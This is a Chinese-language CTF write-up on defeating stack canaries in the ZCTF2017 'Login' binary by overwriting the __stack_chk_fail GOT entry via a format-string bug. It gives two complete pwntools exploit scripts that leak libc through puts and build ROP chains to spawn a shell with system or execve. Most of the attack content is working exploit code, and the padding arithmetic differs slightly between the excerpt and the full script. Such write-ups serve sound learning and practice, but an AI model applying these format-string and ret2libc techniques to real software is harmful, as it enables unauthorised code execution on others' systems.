Canary 绕过技术之劫持__stack_chk_fail函数
序言
已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail
函数,__stack_chk_fail
函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。利用方式是通过 fsb 漏洞篡改 __stack_chk_fail
的 GOT 表,再进行 ROP 利用。
下面来看一道例题 ZCTF2017 Login
。
我们优先看下checksec
$ checksec login
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖到32位IDA中看下,大概长这样,两个关键函数 read
和sprintf
。
1、覆盖__stack_chk_fail 的GOT表项
观察上图,format string实际存放在0xffffd216,字符串被sprintf写入0xffffd19c(eax),所以要覆写format string,payload前还需要0xffffd216 - 0xffffd19c = 0x7a字节,具体填充在下面代码注释中:
def exploit():
offset = 0x50 # 0x4c + 0x4 sprintf写入字符串的长度为0x4c + ebp
offset_eax = 0x7a # 0xffffd216 - 0xffffd19c = 0x7a
# __stack_chk_fail GOT表中的地址,用于后面修改
payload = p32(binary.symbols['got.__stack_chk_fail']) # stack
# sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
payload += 'a' * (offset - 0x4) # stack+ebp = offset-0x4(got.__stack_chk_fail)
# 将返回地址覆盖为main函数地址,以便再次获得执行机会
payload += p32(binary.symbols['main']) # ret addr
# 填充一定字节直到可以覆盖format string
payload += 'a' * (offset_eax - offset + 0x4)# padding 0x26
# 将format string修改为如下内容
payload += r'%s:%39x%10$hhn' + '\x00' # r''中内容不进行转义处理
# %s 读取payload,使格式化字符串被覆盖
# %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
# 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
# 8 alarm
# 39 malloc
...
2、通过泄露puts的真实地址找到当前libc
第一部分的代码执行完后,__stack_chk_fail
的GOT被覆盖为malloc@plt
,不会触发 Canary
机制,同时返回到 main
中,我们有了第二次输入的机会。
第二次输入将返回地址覆盖为 puts
,返回地址依然设为 main
以获得第三次输入的机会,同时将 puts
的GOT表项作为 puts
的参数,这样我们就可以泄漏libc中 puts
的真实地址。
这里我们选用LibcSeacher的方式,基于泄露的 puts
真实地址算出libc_base
,并顺手获取后续我们要用到的 system
和 /bin/sh
在libc中的地址。
...
payload = 'a' * offset # 填充字符覆盖到ret前
payload += p32(binary.symbols['plt.puts']) # return address
payload += p32(binary.symbols['main']) # return from puts
payload += p32(binary.symbols['got.puts']) # args of puts
# leak libc
input_username(payload)
input_passsword(p32(0))
p.recvuntil('aaaa') # `Login successful!`后的回显
p.recvline() # 读取完整的该行回显
leak = p.recvline()[:4] # 第二次puts的输出,取前4字节
leak_puts_addr = u32(leak)
print 'leak_puts_addr = ', hex(leak_puts_addr)
libc = LibcSearcher('puts', leak_puts_addr)
libc_base = leak_puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + libc_base
binsh_addr = libc.dump('str_bin_sh') + libc_base
print 'system_addr = ', hex(system_addr)
print 'binsh_addr = ', hex(binsh_addr)
...
3、通过ROP get shell
...
payload = '\x90' * offset + p32(system_addr) + p32(binary.symbols['main']) + p32(binsh_addr)
input_username(payload)
input_passsword(p32(0))
p.interactive()
完整exp:
# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'DEBUG'
# libc_path = '/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/libc-2.19.so'
bin_path = '/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login'
# libc = ELF(libc_path)
binary = ELF(bin_path)
def debug(command=''):
gdb.attach(p, command)
def input_username(name):
print 'username: ', name, hex(len(name))
p.recvuntil('username:')
p.sendline(name)
def input_passsword(password):
p.recvuntil('password:')
p.sendline(password)
def exploit():
#debug('b *0x8048751\nc\n')
offset = 0x50 # 0x4c + 0x4 sprintf写入字符串的长度为0x4c + ebp
offset_eax = 0x7a # 0xffffd216 - 0xffffd19c = 0x7a
# __stack_chk_fail GOT表中的地址,用于后面修改
payload = p32(binary.symbols['got.__stack_chk_fail']) # stack
# sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
payload += 'a' * (offset - 0x4) # stack+ebp = offset-0x4(got.__stack_chk_fail)
# 将返回地址覆盖为main函数地址,以便再次获得执行机会
payload += p32(binary.symbols['main']) # ret addr
# 填充一定字节直到可以覆盖format string
payload += 'a' * (offset_eax - offset - 0x4) # padding 0x26
# 将format string修改为如下内容
payload += r'%s:%39x%10$hhn' + '\x00' # r''中内容不进行转义处理
# %s 读取payload,使格式化字符串被覆盖
# %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
# 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
# 8 alarm
# 39 malloc
print len(payload)
input_username(payload)
input_passsword(p32(0))
payload = 'a' * offset # 填充字符覆盖到ret前
payload += p32(binary.symbols['plt.puts']) # return address
payload += p32(binary.symbols['main']) # return from puts
payload += p32(binary.symbols['got.puts']) # args of puts
# PTL表中存放着与之对应的GOT表,而GOT表中存放着函数的真实地址
# leak libc
input_username(payload)
input_passsword(p32(0))
p.recvuntil('aaaa') # `Login successful!`后的回显
p.recvline() # 读取完整的该行回显
leak = p.recvline()[:4] # 第二次puts的输出,取前4字节
leak_puts_addr = u32(leak)
print 'leak_puts_addr = ', hex(leak_puts_addr)
libc = LibcSearcher('puts', leak_puts_addr)
libc_base = leak_puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + libc_base
binsh_addr = libc.dump('str_bin_sh') + libc_base
print 'system_addr = ', hex(system_addr)
print 'binsh_addr = ', hex(binsh_addr)
payload = '\x90' * offset + p32(system_addr) + p32(binary.symbols['main']) + p32(binsh_addr)
input_username(payload)
input_passsword(p32(0))
p.interactive()
if __name__ == '__main__':
global p
p = process(executable=bin_path, argv=[bin_path])
exploit()
来看看exp执行结果:
参考链接:https://jontsang.github.io/post/34549.html
尾声
这里再为大家提供另一种解法思路,感兴趣的小伙伴可以自行研究一番,本文不再赘述。
# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf = ELF('/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login')
fp = open('exp', 'wb')
#context.log_level = 'debug'
puts_got_addr = elf.symbols['got.puts']
puts_plt_addr = elf.symbols['plt.puts']
read_plt = elf.symbols['plt.read']
stack_chk_fail_addr = elf.symbols['got.__stack_chk_fail']
# .init
pop_ret_addr = 0x08048465 # pop ebx; ret
add_esp_ret = 0x08048462 # add esp, 0Ch; ret
ret_addr = 0x8048466 # ret
# csu_init
sub_pop4_ret_addr = 0x08048915 # sub esp, 0Ch; pop ebx; pop esi; pop edx; pop ebp; ret
pop3_ret_addr = 0x08048919 # pop 3 reg; ret
# ROPgadget --binary login --only 'pop|mov|leave|ret'
pop_ebp_ret_addr = 0x0804871F # pop ebp; ret
leave_ret_addr = 0x08048598 # leave; ret
bss_wr_addr = 0x804Ae20 # 需要可写
read_buff_addr = 0x804862B # 利用程序已有的去读取比较方便
call_puts_addr = 0x8048761 # 利用已有的call
# call function(arg); return to pop ret
def gadget_arg(func_addr, arg):
payload = p32(func_addr)
payload += p32(pop_ret_addr)
payload += p32(arg)
return payload
# call function(args[0], args[1], args[2]); return to func_ret
def gadget_args(func_addr, args, func_ret):
payload = p32(func_addr)
payload += p32(func_ret)
for arg in args:
payload += p32(arg)
return payload
def pwn():
padding = p32(stack_chk_fail_addr)
# 这里需要不断调整
padding = padding.ljust(0x50, 'c')
padding += gadget_arg(puts_plt_addr, puts_got_addr) # puts(puts_addr)
# read_buff(shell_rop, 0x01010101, 0x01010101)
# 这里要注意, 字符串有一定的限制 而且要注意call read_buff 时的结尾符要设置合理,这里是0x01
padding += gadget_args(read_buff_addr, [bss_wr_addr, 0x01010101, 0x01010101], sub_pop4_ret_addr)
# 恢复栈, 这里具体要填充多少个'h'是通过调试看
# 然后再通过leave 使得 esp=ebp-4
padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
padding += 'A' * (0xeb - len(padding))
# hh: unsigned char 这里要覆盖chk_fail的最后一个字节
padding += '%10$hhn-----'
#padding += '_%10$p' 测试参数的位置
# produce username and password
username = padding
password = 'ED'
# 由于上面rop的是 read_buff(shell_rop, 0x01010101, 0x01010101)字符串以0x01结尾
pad_shell = '/bin/sh\x01'
print 'username: ', username, hex(len(username))
p = process('/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login')
p.recvuntil('username:')
p.sendline(username)
# password 随意
p.recvuntil('password:')
p.sendline(password)
p.recvuntil('AAA\n')
#print p.recvall()
# read address of puts
raw_input('leak puts?')
data = p.recvuntil('\n')[:-1]
print data
puts_addr = u32(data[:4])
print 'address of puts:', hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
execve_addr = libc.dump('execve') + libc_base
print 'address of libc:', hex(libc_base)
print 'address of execve:', hex(execve_addr)
# write shell to bss
shell_rop = p32(execve_addr)
shell_rop += p32(pop_ret_addr)
shell_rop += p32(bss_wr_addr+0x40)
shell_rop += p32(0)
shell_rop += p32(0)
shell_rop = shell_rop.ljust(0x40, 'S')
pad_shell = shell_rop + pad_shell
p.sendline(pad_shell)
p.interactive()
pwn()
'''
def get_offset():
for i in range(0x50, 0x100):
p = process('/mnt/hgfs/ShareDir/ctf/learning/wiki/1_canary_learn/2_ZCTF2017-login/login')
p.recvuntil('username:')
p.sendline('A'*i)
p.recvuntil('password:')
p.sendline('B'*0x10)
print 'the padding size:', hex(i)
data = p.recvall()
print data
if ':' not in data:
break
get_offset()
'''
参考链接:https://steinsgatep001.gitbooks.io/pwnstudy/ctf_exec/zctf2017/pwn1/exp.html